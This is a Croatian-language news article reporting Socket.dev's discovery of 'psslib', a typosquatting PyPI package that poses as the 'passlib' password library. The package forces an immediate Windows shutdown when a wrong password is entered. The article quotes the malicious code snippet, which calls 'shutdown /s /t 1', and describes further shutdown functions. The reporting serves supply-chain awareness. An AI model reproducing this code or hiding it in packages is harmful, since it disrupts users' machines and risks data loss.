Na PyPI-u je otkriven zlonamjerni paket za Python, koji se predstavlja kao legitimna biblioteka za sigurnost lozinki, a koji cilja Windowse programere, uzrokujući trenutačno gašenje sustava pri netočnom unosu lozinke.
Zlonamjerni paket, nazvan “psslib”, predstavlja sofisticirani “typosquatting” napad na široko korištenu biblioteku “passlib”, koja bilježi preko 8.9 milijuna preuzimanja mjesečno od strane programera koji implementiraju sigurne sustave autentifikacije.
Ovaj malver koristi izrazito podmukao pristup iskorištavajući povjerenje programera u pakete usmjerene na sigurnost.
Za razliku od uobičajenih napada na lanac isporuke koji djeluju prikriveno radi krađe podataka ili uspostavljanja perzistencije, ovaj paket prioritet daje neposrednom ometanju umjesto skrivenom djelovanju.
Objavljen od strane aktera prijetnje identificiranog kao “umaraq”, paket lažno oglašava sebe kao sigurnosno rješenje koje će “osigurati vaš Python program”, dok zapravo sadrži destruktivni kod namijenjen nanošenju trenutačne štete sustavu.
Istraživači tvrtke Socket.dev identificirali su zlonamjerni paket pomoću svojih AI-sustava za skeniranje, koji su označili destruktivno ponašanje gašenja sustava kao nenormalno za navodnu sigurnosnu biblioteku.
Paket je i dalje aktivan na PyPI-u unatoč formalnim zahtjevima za uklanjanje, nastavljajući predstavljati rizik za nesvjesne programere koji bi mogli nenamjerno instalirati verziju s tipfelom tijekom rutinskog upravljanja ovisnostima.
Napad specifično cilja okruženja za razvoj na Windowsima, gdje Python programeri često posjeduju povišene sistemske privilegije potrebne za zadatke automatizacije i razvoja aplikacija.
Kada ovi programeri integriraju zlonamjerni paket u svoje radne tokove, destruktivni teret dobiva sistemski pristup potreban za izvršavanje trenutačnih naredbi za gašenje, potencijalno uzrokujući gubitak podataka i poremećaje u radu unutar razvojnih timova.
Tehnička implementacija i mehanizam napada
Paket “psslib” implementira svoj destruktivni teret putem naizgled jednostavnih Python funkcija koje koriste biblioteku “easygui” za interakciju s korisnikom i modul “os” za sistemske naredbe.
Glavni vektor napada usredotočen je na funkciju provjere lozinke koja trenutačno pokreće gašenje sustava Windows kada korisnici unesu netočan vjerodajnice:
import os
import easygui
def spc(password):
if easygui.enterbox(‘unesi lozinku:-‘) != password:
os.system(“shutdown /s /t 1”) # Gašenje za 1 sekundu
Osim gašenja pokrenutog lozinkom, paket uključuje dodatne funkcije namijenjene proširenju vektora napada.
Funkcija “src()” omogućava izravno gašenje sustava bez ikakvih zahtjeva za autentifikacijom, dok funkcija “error()” kombinira prikaz poruke o grešci sa izvršavanjem prisilnog gašenja.
Ovi višestruki vektori napada osiguravaju da se zlonamjerni teret može izvršiti bez obzira na to kako programeri integriraju paket u svoje aplikacije, maksimizirajući potencijal za sistemski poremećaj u različitim scenarijima implementacije.